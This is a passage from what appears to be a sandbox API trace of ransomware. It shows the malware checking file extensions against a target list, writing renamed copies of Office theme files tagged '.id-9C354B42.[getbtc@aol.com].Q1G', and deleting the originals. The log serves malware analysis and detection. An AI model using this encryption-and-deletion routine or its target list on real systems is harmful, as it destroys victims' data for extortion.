dwFileAttributes=0x20) returned 1 [0243.231] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\adjacency.eftx")) returned 1 [0243.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx") returned 81 [0243.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx") returned 81 [0243.287] lstrlenW (lpString=".doc") returned 4 [0243.287] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0243.287] lstrlenW (lpString=".docx") returned 5 [0243.287] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0243.287] lstrlenW (lpString=".pdf") returned 4 [0243.287] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0243.288] lstrlenW (lpString=".xls") returned 4 [0243.288] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0243.288] lstrlenW (lpString=".xlsx") returned 5 [0243.288] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0243.288] lstrlenW (lpString=".ppt") returned 4 [0243.288] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0243.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx") returned 81 [0243.288] lstrlenW (lpString=".zip") returned 4 [0243.288] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0243.288] lstrlenW (lpString=".rar") returned 4 [0243.288] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0243.288] lstrlenW (lpString=".bz2") returned 4 [0243.288] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0243.288] lstrlenW (lpString=".7z") returned 3 [0243.288] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0243.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx") returned 81 [0243.288] lstrlenW (lpString=".dbf") returned 4 [0243.288] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0243.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx") returned 81 [0243.288] lstrlenW (lpString=".1cd") returned 4 [0243.288] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0243.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx") returned 81 [0243.288] lstrlenW (lpString=".jpg") returned 4 [0243.288] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0243.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx") returned 81 [0243.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx") returned 81 [0243.288] lstrlenW (lpString=".doc") returned 4 [0243.288] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0243.288] lstrlenW (lpString=".docx") returned 5 [0243.288] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0243.288] lstrlenW (lpString=".pdf") returned 4 [0243.288] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0243.288] lstrlenW (lpString=".xls") returned 4 [0243.288] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0243.289] lstrlenW (lpString=".xlsx") returned 5 [0243.289] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0243.289] lstrlenW (lpString=".ppt") returned 4 [0243.289] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0243.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx") returned 81 [0243.289] lstrlenW (lpString=".zip") returned 4 [0243.289] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0243.289] lstrlenW (lpString=".rar") returned 4 [0243.289] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0243.289] lstrlenW (lpString=".bz2") returned 4 [0243.289] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0243.289] lstrlenW (lpString=".7z") returned 3 [0243.289] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0243.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx") returned 81 [0243.289] lstrlenW (lpString=".dbf") returned 4 [0243.289] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0243.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx") returned 81 [0243.289] lstrlenW (lpString=".1cd") returned 4 [0243.289] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0243.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx") returned 81 [0243.289] lstrlenW (lpString=".jpg") returned 4 [0243.289] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0243.289] lstrcmpiW (lpString1=".eftx", lpString2=".Q1G") returned -1 [0243.289] lstrlenW (lpString="Angles.eftx") returned 11 [0243.289] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\angles.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0243.303] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=27365) returned 1 [0243.303] CloseHandle (hObject=0x398) returned 1 [0243.303] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\angles.eftx")) returned 0x20 [0243.372] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\angles.eftx.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0243.384] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\angles.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0243.457] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0243.457] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0243.457] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\angles.eftx.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0243.467] GetLastError () returned 0x0 [0243.467] ReadFile (in: hFile=0x200, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x6ae5, lpOverlapped=0x0) returned 1 [0243.470] WriteFile (in: hFile=0x3a8, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0x6af0, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0x6af0, lpOverlapped=0x0) returned 1 [0243.471] ReadFile (in: hFile=0x200, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x0, lpOverlapped=0x0) returned 1 [0243.471] WriteFile (in: hFile=0x3a8, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0xea, lpOverlapped=0x0) returned 1 [0243.471] SetEndOfFile (hFile=0x3a8) returned 1 [0243.471] CloseHandle (hObject=0x3a8) returned 1 [0243.471] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0243.471] SetEndOfFile (hFile=0x200) returned 1 [0243.474] CloseHandle (hObject=0x200) returned 1 [0243.474] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0243.474] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\angles.eftx")) returned 1 [0243.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx") returned 78 [0243.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx") returned 78 [0243.475] lstrlenW (lpString=".doc") returned 4 [0243.475] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0243.475] lstrlenW (lpString=".docx") returned 5 [0243.475] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0243.475] lstrlenW (lpString=".pdf") returned 4 [0243.475] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0243.475] lstrlenW (lpString=".xls") returned 4 [0243.475] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0243.475] lstrlenW (lpString=".xlsx") returned 5 [0243.475] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0243.475] lstrlenW (lpString=".ppt") returned 4 [0243.475] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0243.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx") returned 78 [0243.475] lstrlenW (lpString=".zip") returned 4 [0243.475] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0243.475] lstrlenW (lpString=".rar") returned 4 [0243.475] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0243.475] lstrlenW (lpString=".bz2") returned 4 [0243.475] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0243.475] lstrlenW (lpString=".7z") returned 3 [0243.475] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0243.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx") returned 78 [0243.475] lstrlenW (lpString=".dbf") returned 4 [0243.475] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0243.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx") returned 78 [0243.476] lstrlenW (lpString=".1cd") returned 4 [0243.476] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0243.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx") returned 78 [0243.476] lstrlenW (lpString=".jpg") returned 4 [0243.476] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0243.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx") returned 78 [0243.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx") returned 78 [0243.476] lstrlenW (lpString=".doc") returned 4 [0243.476] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0243.476] lstrlenW (lpString=".docx") returned 5 [0243.476] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0243.476] lstrlenW (lpString=".pdf") returned 4 [0243.476] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0243.476] lstrlenW (lpString=".xls") returned 4 [0243.476] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0243.476] lstrlenW (lpString=".xlsx") returned 5 [0243.476] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0243.476] lstrlenW (lpString=".ppt") returned 4 [0243.476] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0243.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx") returned 78 [0243.476] lstrlenW (lpString=".zip") returned 4 [0243.476] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0243.476] lstrlenW (lpString=".rar") returned 4 [0243.476] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0243.476] lstrlenW (lpString=".bz2") returned 4 [0243.476] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0243.476] lstrlenW (lpString=".7z") returned 3 [0243.476] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0243.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx") returned 78 [0243.476] lstrlenW (lpString=".dbf") returned 4 [0243.476] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0243.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx") returned 78 [0243.476] lstrlenW (lpString=".1cd") returned 4 [0243.476] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0243.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx") returned 78 [0243.477] lstrlenW (lpString=".jpg") returned 4 [0243.477] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0243.477] lstrcmpiW (lpString1=".eftx", lpString2=".Q1G") returned -1 [0243.477] lstrlenW (lpString="Black Tie.eftx") returned 14 [0243.477] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\black tie.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0243.482] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=618119) returned 1 [0243.483] CloseHandle (hObject=0x200) returned 1 [0243.483] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\black tie.eftx")) returned 0x20 [0243.483] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\black tie.eftx.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0243.483] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\black tie.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0243.483] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0243.483] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0243.483] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\black tie.eftx.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0243.484] GetLastError () returned 0x0 [0243.484] ReadFile (in: hFile=0x200, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x96e87, lpOverlapped=0x0) returned 1 [0243.498] WriteFile (in: hFile=0x3a8, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0x96e90, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0x96e90, lpOverlapped=0x0) returned 1 [0243.693] ReadFile (in: hFile=0x200, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x0, lpOverlapped=0x0) returned 1 [0243.693] WriteFile (in: hFile=0x3a8, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0243.693] SetEndOfFile (hFile=0x3a8) returned 1 [0243.693] CloseHandle (hObject=0x3a8) returned 1 [0243.693] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0243.693] SetEndOfFile (hFile=0x200) returned 1 [0243.707] CloseHandle (hObject=0x200) returned 1 [0243.708] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0243.708] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\black tie.eftx")) returned 1 [0243.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx") returned 81 [0243.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx") returned 81 [0243.709] lstrlenW (lpString=".doc") returned 4 [0243.709] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0243.709] lstrlenW (lpString=".docx") returned 5 [0243.709] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0243.709] lstrlenW (lpString=".pdf") returned 4 [0243.709] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0243.709] lstrlenW (lpString=".xls") returned 4 [0243.709] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0243.709] lstrlenW (lpString=".xlsx") returned 5 [0243.709] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0243.709] lstrlenW (lpString=".ppt") returned 4 [0243.709] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0243.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx") returned 81 [0243.709] lstrlenW (lpString=".zip") returned 4 [0243.709] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0243.709] lstrlenW (lpString=".rar") returned 4 [0243.709] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0243.709] lstrlenW (lpString=".bz2") returned 4 [0243.709] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0243.709] lstrlenW (lpString=".7z") returned 3 [0243.710] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0243.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx") returned 81 [0243.710] lstrlenW (lpString=".dbf") returned 4 [0243.710] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0243.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx") returned 81 [0243.710] lstrlenW (lpString=".1cd") returned 4 [0243.710] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0243.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx") returned 81 [0243.710] lstrlenW (lpString=".jpg") returned 4 [0243.710] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0243.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx") returned 81 [0243.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx") returned 81 [0243.710] lstrlenW (lpString=".doc") returned 4 [0243.710] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0243.710] lstrlenW (lpString=".docx") returned 5 [0243.710] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0243.710] lstrlenW (lpString=".pdf") returned 4 [0243.710] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0243.710] lstrlenW (lpString=".xls") returned 4 [0243.710] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0243.710] lstrlenW (lpString=".xlsx") returned 5 [0243.710] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0243.710] lstrlenW (lpString=".ppt") returned 4 [0243.710] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0243.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx") returned 81 [0243.710] lstrlenW (lpString=".zip") returned 4 [0243.710] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0243.710] lstrlenW (lpString=".rar") returned 4 [0243.710] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0243.710] lstrlenW (lpString=".bz2") returned 4 [0243.710] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0243.710] lstrlenW (lpString=".7z") returned 3 [0243.710] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0243.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx") returned 81 [0243.710] lstrlenW (lpString=".dbf") returned 4 [0243.710] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0243.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx") returned 81 [0243.711] lstrlenW (lpString=".1cd") returned 4 [0243.711] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0243.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx") returned 81 [0243.711] lstrlenW (lpString=".jpg") returned 4 [0243.711] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0243.711] lstrcmpiW (lpString1=".eftx", lpString2=".Q1G") returned -1 [0243.711] lstrlenW (lpString="Composite.eftx") returned 14 [0243.711] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\composite.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0243.855] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=533988) returned 1 [0243.855] CloseHandle (hObject=0x360) returned 1 [0243.855] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\composite.eftx")) returned 0x20 [0243.865] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\composite.eftx.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0243.866] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\composite.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0243.881] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0243.881] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0243.881] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\composite.eftx.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0243.882] GetLastError () returned 0x0 [0243.882] ReadFile (in: hFile=0x360, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x825e4, lpOverlapped=0x0) returned 1 [0243.894] WriteFile (in: hFile=0x3a4, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0x825f0, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0x825f0, lpOverlapped=0x0) returned 1 [0243.905] ReadFile (in: hFile=0x360, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x0, lpOverlapped=0x0) returned 1 [0243.905] WriteFile (in: hFile=0x3a4, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0243.905] SetEndOfFile (hFile=0x3a4) returned 1 [0243.905] CloseHandle (hObject=0x3a4) returned 1 [0243.905] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0243.905] SetEndOfFile (hFile=0x360) returned 1 [0244.039] CloseHandle (hObject=0x360) returned 1 [0244.039] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0244.637] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\composite.eftx")) returned 1 [0244.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx") returned 81 [0244.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx") returned 81 [0244.638] lstrlenW (lpString=".doc") returned 4 [0244.638] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0244.638] lstrlenW (lpString=".docx") returned 5 [0244.638] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0244.638] lstrlenW (lpString=".pdf") returned 4 [0244.638] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0244.638] lstrlenW (lpString=".xls") returned 4 [0244.638] lstrcmpiW 